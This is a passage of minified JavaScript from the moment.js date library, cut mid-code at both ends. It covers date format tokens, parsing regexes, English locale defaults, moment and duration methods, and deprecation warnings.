this.localeData().monthsShort(this,e)}),P("MMMM",0,0,function(e){return this.localeData().months(this,e)}),Y("month","M"),x("month",8),C("M",mt),C("MM",mt,dt),C("MMM",function(e,t){return t.monthsShortRegex(e)}),C("MMMM",function(e,t){return t.monthsRegex(e)}),L(["M","MM"],function(e,t){t[xt]=g(e)-1}),L(["MMM","MMMM"],function(e,t,n,s){var i=n._locale.monthsParse(e,s,n._strict);null!=i?t[xt]=i:d(n).invalidMonth=e});var Nt=/D[oD]?(\[[^\[\]]*\]|\s)+MMMM?/,Gt="January_February_March_April_May_June_July_August_September_October_November_December".split("_"),Vt="Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),Et=kt,It=kt;P("w",["ww",2],"wo","week"),P("W",["WW",2],"Wo","isoWeek"),Y("week","w"),Y("isoWeek","W"),x("week",5),x("isoWeek",5),C("w",mt),C("ww",mt,dt),C("W",mt),C("WW",mt,dt),N(["w","ww","W","WW"],function(e,t,n,s){t[s.substr(0,1)]=g(e)});P("d",0,"do","day"),P("dd",0,0,function(e){return this.localeData().weekdaysMin(this,e)}),P("ddd",0,0,function(e){return this.localeData().weekdaysShort(this,e)}),P("dddd",0,0,function(e){return this.localeData().weekdays(this,e)}),P("e",0,0,"weekday"),P("E",0,0,"isoWeekday"),Y("day","d"),Y("weekday","e"),Y("isoWeekday","E"),x("day",11),x("weekday",11),x("isoWeekday",11),C("d",mt),C("e",mt),C("E",mt),C("dd",function(e,t){return t.weekdaysMinRegex(e)}),C("ddd",function(e,t){return t.weekdaysShortRegex(e)}),C("dddd",function(e,t){return t.weekdaysRegex(e)}),N(["dd","ddd","dddd"],function(e,t,n,s){var i=n._locale.weekdaysParse(e,s,n._strict);null!=i?t.d=i:d(n).invalidWeekday=e}),N(["d","e","E"],function(e,t,n,s){t[s]=g(e)});var At="Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),jt="Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),Zt="Su_Mo_Tu_We_Th_Fr_Sa".split("_"),zt=kt,$t=kt,qt=kt;P("H",["HH",2],0,"hour"),P("h",["hh",2],0,te),P("k",["kk",2],0,function(){return this.hours()||24}),P("hmm",0,0,function(){return""+te.apply(this)+b(this.minutes(),2)}),P("hmmss",0,0,function(){return""+te.apply(this)+b(this.minutes(),2)+b(this.seconds(),2)}),P("Hmm",0,0,function(){return""+this.hours()+b(this.minutes(),2)}),P("Hmmss",0,0,function(){return""+this.hours()+b(this.minutes(),2)+b(this.seconds(),2)}),ne("a",!0),ne("A",!1),Y("hour","h"),x("hour",13),C("a",se),C("A",se),C("H",mt),C("h",mt),C("k",mt),C("HH",mt,dt),C("hh",mt,dt),C("kk",mt,dt),C("hmm",_t),C("hmmss",yt),C("Hmm",_t),C("Hmmss",yt),L(["H","HH"],Pt),L(["k","kk"],function(e,t,n){var s=g(e);t[Pt]=24===s?0:s}),L(["a","A"],function(e,t,n){n._isPm=n._locale.isPM(e),n._meridiem=e}),L(["h","hh"],function(e,t,n){t[Pt]=g(e),d(n).bigHour=!0}),L("hmm",function(e,t,n){var s=e.length-2;t[Pt]=g(e.substr(0,s)),t[Wt]=g(e.substr(s)),d(n).bigHour=!0}),L("hmmss",function(e,t,n){var s=e.length-4,i=e.length-2;t[Pt]=g(e.substr(0,s)),t[Wt]=g(e.substr(s,2)),t[Ht]=g(e.substr(i)),d(n).bigHour=!0}),L("Hmm",function(e,t,n){var s=e.length-2;t[Pt]=g(e.substr(0,s)),t[Wt]=g(e.substr(s))}),L("Hmmss",function(e,t,n){var s=e.length-4,i=e.length-2;t[Pt]=g(e.substr(0,s)),t[Wt]=g(e.substr(s,2)),t[Ht]=g(e.substr(i))});var Jt,Bt=I("Hours",!0),Qt={calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},longDateFormat:{LTS:"h:mm:ss A",LT:"h:mm A",L:"MM/DD/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"},invalidDate:"Invalid date",ordinal:"%d",dayOfMonthOrdinalParse:/\d{1,2}/,relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},months:Gt,monthsShort:Vt,week:{dow:0,doy:6},weekdays:At,weekdaysMin:Zt,weekdaysShort:jt,meridiemParse:/[ap]\.?m?\.?/i},Xt={},Kt={},en=/^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/,tn=/^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/,nn=/Z|[+-]\d\d(?::?\d\d)?/,sn=[["YYYYYY-MM-DD",/[+-]\d{6}-\d\d-\d\d/],["YYYY-MM-DD",/\d{4}-\d\d-\d\d/],["GGGG-[W]WW-E",/\d{4}-W\d\d-\d/],["GGGG-[W]WW",/\d{4}-W\d\d/,!1],["YYYY-DDD",/\d{4}-\d{3}/],["YYYY-MM",/\d{4}-\d\d/,!1],["YYYYYYMMDD",/[+-]\d{10}/],["YYYYMMDD",/\d{8}/],["GGGG[W]WWE",/\d{4}W\d{3}/],["GGGG[W]WW",/\d{4}W\d{2}/,!1],["YYYYDDD",/\d{7}/]],rn=[["HH:mm:ss.SSSS",/\d\d:\d\d:\d\d\.\d+/],["HH:mm:ss,SSSS",/\d\d:\d\d:\d\d,\d+/],["HH:mm:ss",/\d\d:\d\d:\d\d/],["HH:mm",/\d\d:\d\d/],["HHmmss.SSSS",/\d\d\d\d\d\d\.\d+/],["HHmmss,SSSS",/\d\d\d\d\d\d,\d+/],["HHmmss",/\d\d\d\d\d\d/],["HHmm",/\d\d\d\d/],["HH",/\d\d/]],an=/^\/?Date\((\-?\d+)/i,on=/^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/,un={UT:0,GMT:0,EDT:-240,EST:-300,CDT:-300,CST:-360,MDT:-360,MST:-420,PDT:-420,PST:-480};e.createFromInputFallback=v("value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are discouraged and will be removed in an upcoming major release. Please refer to http://momentjs.com/guides/#/warnings/js-date/ for more info.",function(e){e._d=new Date(e._i+(e._useUTC?" UTC":""))}),e.ISO_8601=function(){},e.RFC_2822=function(){};var ln=v("moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/",function(){var e=pe.apply(null,arguments);return this.isValid()&&e.isValid()?e<this?this:e:c()}),dn=v("moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/",function(){var e=pe.apply(null,arguments);return this.isValid()&&e.isValid()?e>this?this:e:c()}),hn=["year","quarter","month","week","day","hour","minute","second","millisecond"];De("Z",":"),De("ZZ",""),C("Z",Dt),C("ZZ",Dt),L(["Z","ZZ"],function(e,t,n){n._useUTC=!0,n._tzm=ke(Dt,e)});var cn=/([\+\-]|\d\d)/gi;e.updateOffset=function(){};var fn=/^(\-|\+)?(?:(\d*)[. ])?(\d+)\:(\d+)(?:\:(\d+)(\.\d*)?)?$/,mn=/^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/;xe.fn=ve.prototype,xe.invalid=function(){return xe(NaN)};var _n=We(1,"add"),yn=We(-1,"subtract");e.defaultFormat="YYYY-MM-DDTHH:mm:ssZ",e.defaultFormatUtc="YYYY-MM-DDTHH:mm:ss[Z]";var gn=v("moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.",function(e){return void 0===e?this.localeData():this.locale(e)});P(0,["gg",2],0,function(){return this.weekYear()%100}),P(0,["GG",2],0,function(){return this.isoWeekYear()%100}),Ue("gggg","weekYear"),Ue("ggggg","weekYear"),Ue("GGGG","isoWeekYear"),Ue("GGGGG","isoWeekYear"),Y("weekYear","gg"),Y("isoWeekYear","GG"),x("weekYear",1),x("isoWeekYear",1),C("G",Mt),C("g",Mt),C("GG",mt,dt),C("gg",mt,dt),C("GGGG",pt,ct),C("gggg",pt,ct),C("GGGGG",wt,ft),C("ggggg",wt,ft),N(["gggg","ggggg","GGGG","GGGGG"],function(e,t,n,s){t[s.substr(0,2)]=g(e)}),N(["gg","GG"],function(t,n,s,i){n[i]=e.parseTwoDigitYear(t)}),P("Q",0,"Qo","quarter"),Y("quarter","Q"),x("quarter",7),C("Q",lt),L("Q",function(e,t){t[xt]=3*(g(e)-1)}),P("D",["DD",2],"Do","date"),Y("date","D"),x("date",9),C("D",mt),C("DD",mt,dt),C("Do",function(e,t){return e?t._dayOfMonthOrdinalParse||t._ordinalParse:t._dayOfMonthOrdinalParseLenient}),L(["D","DD"],bt),L("Do",function(e,t){t[bt]=g(e.match(mt)[0])});var pn=I("Date",!0);P("DDD",["DDDD",3],"DDDo","dayOfYear"),Y("dayOfYear","DDD"),x("dayOfYear",4),C("DDD",gt),C("DDDD",ht),L(["DDD","DDDD"],function(e,t,n){n._dayOfYear=g(e)}),P("m",["mm",2],0,"minute"),Y("minute","m"),x("minute",14),C("m",mt),C("mm",mt,dt),L(["m","mm"],Wt);var wn=I("Minutes",!1);P("s",["ss",2],0,"second"),Y("second","s"),x("second",15),C("s",mt),C("ss",mt,dt),L(["s","ss"],Ht);var vn=I("Seconds",!1);P("S",0,0,function(){return~~(this.millisecond()/100)}),P(0,["SS",2],0,function(){return~~(this.millisecond()/10)}),P(0,["SSS",3],0,"millisecond"),P(0,["SSSS",4],0,function(){return 10*this.millisecond()}),P(0,["SSSSS",5],0,function(){return 100*this.millisecond()}),P(0,["SSSSSS",6],0,function(){return 1e3*this.millisecond()}),P(0,["SSSSSSS",7],0,function(){return 1e4*this.millisecond()}),P(0,["SSSSSSSS",8],0,function(){return 1e5*this.millisecond()}),P(0,["SSSSSSSSS",9],0,function(){return 1e6*this.millisecond()}),Y("millisecond","ms"),x("millisecond",16),C("S",gt,lt),C("SS",gt,dt),C("SSS",gt,ht);var Mn;for(Mn="SSSS";Mn.length<=9;Mn+="S")C(Mn,vt);for(Mn="S";Mn.length<=9;Mn+="S")L(Mn,Ne);var Sn=I("Milliseconds",!1);P("z",0,0,"zoneAbbr"),P("zz",0,0,"zoneName");var Dn=m.prototype;Dn.add=_n,Dn.calendar=function(t,n){var s=t||pe(),i=Ye(s,this).startOf("day"),r=e.calendarFormat(this,i)||"sameElse",a=n&&(S(n[r])?n[r].call(this,s):n[r]);return this.format(a||this.localeData().calendar(r,this,pe(s)))},Dn.clone=function(){return new m(this)},Dn.diff=function(e,t,n){var s,i,r;if(!this.isValid())return NaN;if(!(s=Ye(e,this)).isValid())return NaN;switch(i=6e4*(s.utcOffset()-this.utcOffset()),t=O(t)){case"year":r=Re(this,s)/12;break;case"month":r=Re(this,s);break;case"quarter":r=Re(this,s)/3;break;case"second":r=(this-s)/1e3;break;case"minute":r=(this-s)/6e4;break;case"hour":r=(this-s)/36e5;break;case"day":r=(this-s-i)/864e5;break;case"week":r=(this-s-i)/6048e5;break;default:r=this-s}return n?r:y(r)},Dn.endOf=function(e){return void 0===(e=O(e))||"millisecond"===e?this:("date"===e&&(e="day"),this.startOf(e).add(1,"isoWeek"===e?"week":e).subtract(1,"ms"))},Dn.format=function(t){t||(t=this.isUtc()?e.defaultFormatUtc:e.defaultFormat);var n=H(this,t);return this.localeData().postformat(n)},Dn.from=function(e,t){return this.isValid()&&(_(e)&&e.isValid()||pe(e).isValid())?xe({to:this,from:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},Dn.fromNow=function(e){return this.from(pe(),e)},Dn.to=function(e,t){return this.isValid()&&(_(e)&&e.isValid()||pe(e).isValid())?xe({from:this,to:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},Dn.toNow=function(e){return this.to(pe(),e)},Dn.get=function(e){return e=O(e),S(this[e])?this[e]():this},Dn.invalidAt=function(){return d(this).overflow},Dn.isAfter=function(e,t){var n=_(e)?e:pe(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=O(s(t)?"millisecond":t))?this.valueOf()>n.valueOf():n.valueOf()<this.clone().startOf(t).valueOf())},Dn.isBefore=function(e,t){var n=_(e)?e:pe(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=O(s(t)?"millisecond":t))?this.valueOf()<n.valueOf():this.clone().endOf(t).valueOf()<n.valueOf())},Dn.isBetween=function(e,t,n,s){return("("===(s=s||"()")[0]?this.isAfter(e,n):!this.isBefore(e,n))&&(")"===s[1]?this.isBefore(t,n):!this.isAfter(t,n))},Dn.isSame=function(e,t){var n,s=_(e)?e:pe(e);return!(!this.isValid()||!s.isValid())&&("millisecond"===(t=O(t||"millisecond"))?this.valueOf()===s.valueOf():(n=s.valueOf(),this.clone().startOf(t).valueOf()<=n&&n<=this.clone().endOf(t).valueOf()))},Dn.isSameOrAfter=function(e,t){return this.isSame(e,t)||this.isAfter(e,t)},Dn.isSameOrBefore=function(e,t){return this.isSame(e,t)||this.isBefore(e,t)},Dn.isValid=function(){return h(this)},Dn.lang=gn,Dn.locale=Ce,Dn.localeData=Fe,Dn.max=dn,Dn.min=ln,Dn.parsingFlags=function(){return u({},d(this))},Dn.set=function(e,t){if("object"==typeof e)for(var n=function(e){var t=[];for(var n in e)t.push({unit:n,priority:it[n]});return t.sort(function(e,t){return e.priority-t.priority}),t}(e=T(e)),s=0;s<n.length;s++)this[n[s].unit](e[n[s].unit]);else if(e=O(e),S(this[e]))return this[e](t);return this},Dn.startOf=function(e){switch(e=O(e)){case"year":this.month(0);case"quarter":case"month":this.date(1);case"week":case"isoWeek":case"day":case"date":this.hours(0);case"hour":this.minutes(0);case"minute":this.seconds(0);case"second":this.milliseconds(0)}return"week"===e&&this.weekday(0),"isoWeek"===e&&this.isoWeekday(1),"quarter"===e&&this.month(3*Math.floor(this.month()/3)),this},Dn.subtract=yn,Dn.toArray=function(){return[this.year(),this.month(),this.date(),this.hour(),this.minute(),this.second(),this.millisecond()]},Dn.toObject=function(){return{years:this.year(),months:this.month(),date:this.date(),hours:this.hours(),minutes:this.minutes(),seconds:this.seconds(),milliseconds:this.milliseconds()}},Dn.toDate=function(){return new Date(this.valueOf())},Dn.toISOString=function(e){if(!this.isValid())return null;var t=!0!==e,n=t?this.clone().utc():this;return n.year()<0||n.year()>9999?H(n,t?"YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYYYY-MM-DD[T]HH:mm:ss.SSSZ"):S(Date.prototype.toISOString)?t?this.toDate().toISOString():new Date(this._d.valueOf()).toISOString().replace("Z",H(n,"Z")):H(n,t?"YYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYY-MM-DD[T]HH:mm:ss.SSSZ")},Dn.inspect=function(){if(!this.isValid())return"moment.invalid(/* "+this._i+" */)";var e="moment",t="";this.isLocal()||(e=0===this.utcOffset()?"moment.utc":"moment.parseZone",t="Z");var n="["+e+'("]',s=0<=this.year()&&this.year()<=9999?"YYYY":"YYYYYY",i=t+'[")]';return this.format(n+s+"-MM-DD[T]HH:mm:ss.SSS"+i)},Dn.toJSON=function(){return this.isValid()?this.toISOString():null},Dn.toString=function(){return this.clone().locale("en").format("ddd MMM DD YYYY HH:mm:ss [GMT]ZZ")},Dn.unix=function(){return Math.floor(this.valueOf()/1e3)},Dn.valueOf=function(){return this._d.valueOf()-6e4*(this._offset||0)},Dn.creationData=function(){return{input:this._i,format:this._f,locale:this._locale,isUTC:this._isUTC,strict:this._strict}},Dn.year=Lt,Dn.isLeapYear=function(){return E(this.year())},Dn.weekYear=function(e){return Le.call(this,e,this.week(),this.weekday(),this.localeData()._week.dow,this.localeData()._week.doy)},Dn.isoWeekYear=function(e){return Le.call(this,e,this.isoWeek(),this.isoWeekday(),1,4)},Dn.quarter=Dn.quarters=function(e){return null==e?Math.ceil((this.month()+1)/3):this.month(3*(e-1)+this.month()%3)},Dn.month=$,Dn.daysInMonth=function(){return Z(this.year(),this.month())},Dn.week=Dn.weeks=function(e){var t=this.localeData().week(this);return null==e?t:this.add(7*(e-t),"d")},Dn.isoWeek=Dn.isoWeeks=function(e){var t=X(this,1,4).week;return null==e?t:this.add(7*(e-t),"d")},Dn.weeksInYear=function(){var e=this.localeData()._week;return K(this.year(),e.dow,e.doy)},Dn.isoWeeksInYear=function(){return K(this.year(),1,4)},Dn.date=pn,Dn.day=Dn.days=function(e){if(!this.isValid())return null!=e?this:NaN;var t=this._isUTC?this._d.getUTCDay():this._d.getDay();return null!=e?(e=function(e,t){return"string"!=typeof e?e:isNaN(e)?"number"==typeof(e=t.weekdaysParse(e))?e:null:parseInt(e,10)}(e,this.localeData()),this.add(e-t,"d")):t},Dn.weekday=function(e){if(!this.isValid())return null!=e?this:NaN;var t=(this.day()+7-this.localeData()._week.dow)%7;return null==e?t:this.add(e-t,"d")},Dn.isoWeekday=function(e){if(!this.isValid())return null!=e?this:NaN;if(null!=e){var t=function(e,t){return"string"==typeof e?t.weekdaysParse(e)%7||7:isNaN(e)?null:e}(e,this.localeData());return this.day(this.day()%7?t:t-7)}return this.day()||7},Dn.dayOfYear=function(e){var t=Math.round((this.clone().startOf("day")-this.clone().startOf("year"))/864e5)+1;return null==e?t:this.add(e-t,"d")},Dn.hour=Dn.hours=Bt,Dn.minute=Dn.minutes=wn,Dn.second=Dn.seconds=vn,Dn.millisecond=Dn.milliseconds=Sn,Dn.utcOffset=function(t,n,s){var i,r=this._offset||0;if(!this.isValid())return null!=t?this:NaN;if(null!=t){if("string"==typeof t){if(null===(t=ke(Dt,t)))return this}else Math.abs(t)<16&&!s&&(t*=60);return!this._isUTC&&n&&(i=Oe(this)),this._offset=t,this._isUTC=!0,null!=i&&this.add(i,"m"),r!==t&&(!n||this._changeInProgress?He(this,xe(t-r,"m"),1,!1):this._changeInProgress||(this._changeInProgress=!0,e.updateOffset(this,!0),this._changeInProgress=null)),this}return this._isUTC?r:Oe(this)},Dn.utc=function(e){return this.utcOffset(0,e)},Dn.local=function(e){return this._isUTC&&(this.utcOffset(0,e),this._isUTC=!1,e&&this.subtract(Oe(this),"m")),this},Dn.parseZone=function(){if(null!=this._tzm)this.utcOffset(this._tzm,!1,!0);else if("string"==typeof this._i){var e=ke(St,this._i);null!=e?this.utcOffset(e):this.utcOffset(0,!0)}return this},Dn.hasAlignedHourOffset=function(e){return!!this.isValid()&&(e=e?pe(e).utcOffset():0,(this.utcOffset()-e)%60==0)},Dn.isDST=function(){return this.utcOffset()>this.clone().month(0).utcOffset()||this.utcOffset()>this.clone().month(5).utcOffset()},Dn.isLocal=function(){return!!this.isValid()&&!this._isUTC},Dn.isUtcOffset=function(){return!!this.isValid()&&this._isUTC},Dn.isUtc=Te,Dn.isUTC=Te,Dn.zoneAbbr=function(){return this._isUTC?"UTC":""},Dn.zoneName=function(){return this._isUTC?"Coordinated Universal Time":""},Dn.dates=v("dates accessor is deprecated. Use date instead.",pn),Dn.months=v("months accessor is deprecated. Use month instead",$),Dn.years=v("years accessor is deprecated. Use year instead",Lt),Dn.zone=v("moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/",function(e,t){return null!=e?("string"!=typeof e&&(e=-e),this.utcOffset(e,t),this):-this.utcOffset()}),Dn.isDSTShifted=v("isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information",function(){if(!s(this._isDSTShifted))return this._isDSTShifted;var e={};if(f(e,this),(e=ye(e))._a){var t=e._isUTC?l(e._a):pe(e._a);this._isDSTShifted=this.isValid()&&p(e._a,t.toArray())>0}else this._isDSTShifted=!1;return this._isDSTShifted});var kn=k.prototype;kn.calendar=function(e,t,n){var s=this._calendar[e]||this._calendar.sameElse;return S(s)?s.call(t,n):s},kn.longDateFormat=function(e){var t=this._longDateFormat[e],n=this._longDateFormat[e.toUpperCase()];return t||!n?t:(this._longDateFormat[e]=n.replace(/MMMM|MM|DD|dddd/g,function(e){return e.slice(1)}),this._longDateFormat[e])},kn.invalidDate=function(){return this._invalidDate},kn.ordinal=function(e){return this._ordinal.replace("%d",e)},kn.preparse=Ge,kn.postformat=Ge,kn.relativeTime=function(e,t,n,s){var i=this._relativeTime[n];return S(i)?i(e,t,n,s):i.replace(/%d/i,e)},kn.pastFuture=function(e,t){var n=this._relativeTime[e>0?"future":"past"];return S(n)?n(t):n.replace(/%s/i,t)},kn.set=function(e){var t,n;for(n in e)S(t=e[n])?this[n]=t:this["_"+n]=t;this._config=e,this._dayOfMonthOrdinalParseLenient=new RegExp((this._dayOfMonthOrdinalParse.source||this._ordinalParse.source)+"|"+/\d{1,2}/.source)},kn.months=function(e,n){return e?t(this._months)?this._months[e.month()]:this._months[(this._months.isFormat||Nt).test(n)?"format":"standalone"][e.month()]:t(this._months)?this._months:this._months.standalone},kn.monthsShort=function(e,n){return e?t(this._monthsShort)?this._monthsShort[e.month()]:this._monthsShort[Nt.test(n)?"format":"standalone"][e.month()]:t(this._monthsShort)?this._monthsShort:this._monthsShort.standalone},kn.monthsParse=function(e,t,n){var s,i,r;if(this._monthsParseExact)return function(e,t,n){var s,i,r,a=e.toLocaleLowerCase();if(!this._monthsParse)for(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[],s=0;s<12;++s)r=l([2e3,s]),this._shortMonthsParse[s]=this.monthsShort(r,"").toLocaleLowerCase(),this._longMonthsParse[s]=this.months(r,"").toLocaleLowerCase();return n?"MMM"===t?-1!==(i=Ut.call(this._shortMonthsParse,a))?i:null:-1!==(i=Ut.call(this._longMonthsParse,a))?i:null:"MMM"===t?-1!==(i=Ut.call(this._shortMonthsParse,a))?i:-1!==(i=Ut.call(this._longMonthsParse,a))?i:null:-1!==(i=Ut.call(this._longMonthsParse,a))?i:-1!==(i=Ut.call(this._shortMonthsParse,a))?i:null}.call(this,e,t,n);for(this._monthsParse||(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[]),s=0;s<12;s++){if(i=l([2e3,s]),n&&!this._longMonthsParse[s]&&(this._longMonthsParse[s]=new RegExp("^"+this.months(i,"").replace(".","")+"$","i"),this._shortMonthsParse[s]=new RegExp("^"+this.monthsShort(i,"").replace(".","")+"$","i")),n||this._monthsParse[s]||(r="^"+this.months(i,"")+"|^"+this.monthsShort(i,""),this._monthsParse[s]=new RegExp(r.replace(".",""),"i")),n&&"MMMM"===t&&this._longMonthsParse[s].test(e))return s;if(n&&"MMM"===t&&this._shortMonthsParse[s].test(e))return s;if(!n&&this._monthsParse[s].test(e))return s}},kn.monthsRegex=function(e){return this._monthsParseExact?(o(this,"_monthsRegex")||q.call(this),e?this._monthsStrictRegex:this._monthsRegex):(o(this,"_monthsRegex")||(this._monthsRegex=It),this._monthsStrictRegex&&e?this._monthsStrictRegex:this._monthsRegex)},kn.monthsShortRegex=function(e){return this._monthsParseExact?(o(this,"_monthsRegex")||q.call(this),e?this._monthsShortStrictRegex:this._monthsShortRegex):(o(this,"_monthsShortRegex")||(this._monthsShortRegex=Et),this._monthsShortStrictRegex&&e?this._monthsShortStrictRegex:this._monthsShortRegex)},kn.week=function(e){return X(e,this._week.dow,this._week.doy).week},kn.firstDayOfYear=function(){return this._week.doy},kn.firstDayOfWeek=function(){return this._week.dow},kn.weekdays=function(e,n){return e?t(this._weekdays)?this._weekdays[e.day()]:this._weekdays[this._weekdays.isFormat.test(n)?"format":"standalone"][e.day()]:t(this._weekdays)?this._weekdays:this._weekdays.standalone},kn.weekdaysMin=function(e){return e?this._weekdaysMin[e.day()]:this._weekdaysMin},kn.weekdaysShort=function(e){return e?this._weekdaysShort[e.day()]:this._weekdaysShort},kn.weekdaysParse=function(e,t,n){var s,i,r;if(this._weekdaysParseExact)return function(e,t,n){var s,i,r,a=e.toLocaleLowerCase();if(!this._weekdaysParse)for(this._weekdaysParse=[],this._shortWeekdaysParse=[],this._minWeekdaysParse=[],s=0;s<7;++s)r=l([2e3,1]).day(s),this._minWeekdaysParse[s]=this.weekdaysMin(r,"").toLocaleLowerCase(),this._shortWeekdaysParse[s]=this.weekdaysShort(r,"").toLocaleLowerCase(),this._weekdaysParse[s]=this.weekdays(r,"").toLocaleLowerCase();return n?"dddd"===t?-1!==(i=Ut.call(this._weekdaysParse,a))?i:null:"ddd"===t?-1!==(i=Ut.call(this._shortWeekdaysParse,a))?i:null:-1!==(i=Ut.call(this._minWeekdaysParse,a))?i:null:"dddd"===t?-1!==(i=Ut.call(this._weekdaysParse,a))?i:-1!==(i=Ut.call(this._shortWeekdaysParse,a))?i:-1!==(i=Ut.call(this._minWeekdaysParse,a))?i:null:"ddd"===t?-1!==(i=Ut.call(this._shortWeekdaysParse,a))?i:-1!==(i=Ut.call(this._weekdaysParse,a))?i:-1!==(i=Ut.call(this._minWeekdaysParse,a))?i:null:-1!==(i=Ut.call(this._minWeekdaysParse,a))?i:-1!==(i=Ut.call(this._weekdaysParse,a))?i:-1!==(i=Ut.call(this._shortWeekdaysParse,a))?i:null}.call(this,e,t,n);for(this._weekdaysParse||(this._weekdaysParse=[],this._minWeekdaysParse=[],this._shortWeekdaysParse=[],this._fullWeekdaysParse=[]),s=0;s<7;s++){if(i=l([2e3,1]).day(s),n&&!this._fullWeekdaysParse[s]&&(this._fullWeekdaysParse[s]=new RegExp("^"+this.weekdays(i,"").replace(".",".?")+"$","i"),this._shortWeekdaysParse[s]=new RegExp("^"+this.weekdaysShort(i,"").replace(".",".?")+"$","i"),this._minWeekdaysParse[s]=new RegExp("^"+this.weekdaysMin(i,"").replace(".",".?")+"$","i")),this._weekdaysParse[s]||(r="^"+this.weekdays(i,"")+"|^"+this.weekdaysShort(i,"")+"|^"+this.weekdaysMin(i,""),this._weekdaysParse[s]=new RegExp(r.replace(".",""),"i")),n&&"dddd"===t&&this._fullWeekdaysParse[s].test(e))return s;if(n&&"ddd"===t&&this._shortWeekdaysParse[s].test(e))return s;if(n&&"dd"===t&&this._minWeekdaysParse[s].test(e))return s;if(!n&&this._weekdaysParse[s].test(e))return s}},kn.weekdaysRegex=function(e){return this._weekdaysParseExact?(o(this,"_weekdaysRegex")||ee.call(this),e?this._weekdaysStrictRegex:this._weekdaysRegex):(o(this,"_weekdaysRegex")||(this._weekdaysRegex=zt),this._weekdaysStrictRegex&&e?this._weekdaysStrictRegex:this._weekdaysRegex)},kn.weekdaysShortRegex=function(e){return this._weekdaysParseExact?(o(this,"_weekdaysRegex")||ee.call(this),e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex):(o(this,"_weekdaysShortRegex")||(this._weekdaysShortRegex=$t),this._weekdaysShortStrictRegex&&e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex)},kn.weekdaysMinRegex=function(e){return this._weekdaysParseExact?(o(this,"_weekdaysRegex")||ee.call(this),e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex):(o(this,"_weekdaysMinRegex")||(this._weekdaysMinRegex=qt),this._weekdaysMinStrictRegex&&e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex)},kn.isPM=function(e){return"p"===(e+"").toLowerCase().charAt(0)},kn.meridiem=function(e,t,n){return e>11?n?"pm":"PM":n?"am":"AM"},ae("en",{dayOfMonthOrdinalParse:/\d{1,2}(th|st|nd|rd)/,ordinal:function(e){var t=e%10;return e+(1===g(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")}}),e.lang=v("moment.lang is deprecated. Use moment.locale instead.",ae),e.langData=v("moment.langData is deprecated. Use moment.localeData instead.",ue);var Yn=Math.abs,On=$e("ms"),Tn=$e("s"),xn=$e("m"),bn=$e("h"),Pn=$e("d"),Wn=$e("w"),Hn=$e("M"),Rn=$e("y"),Cn=qe("milliseconds"),Fn=qe("seconds"),Un=qe("minutes"),Ln=qe("hours"),Nn=qe("days"),Gn=qe("months"),Vn=qe("years"),En=Math.round,In={ss:44,s:45,m:45,h:22,d:26,M:11},An=Math.abs,jn=ve.prototype;return jn.isValid=function(){return this._isValid},jn.abs=function(){var e=this._data;return this._milliseconds=Yn(this._milliseconds),this._days=Yn(this._days),this._months=Yn(this._months),e.milliseconds=Yn(e.milliseconds),e.seconds=Yn(e.seconds),e.minutes=Yn(e.minutes),e.hours=Yn(e.hours),e.months=Yn(e.months),e.years=Yn(e.years),this},jn.add=function(e,t){return Ae(this,e,t,1)},jn.subtract=function(e,t){return Ae(this,e,t,-1)},jn.as=function(e){if(!this.isValid())return NaN;var t,n,s=this._milliseconds;if("month"===(e=O(e))||"year"===e)return t=this._days+s/864e5,n=this._months+Ze(t),"month"===e?n:n/12;switch(t=this._days+Math.round(ze(this._months)),e){case"week":return 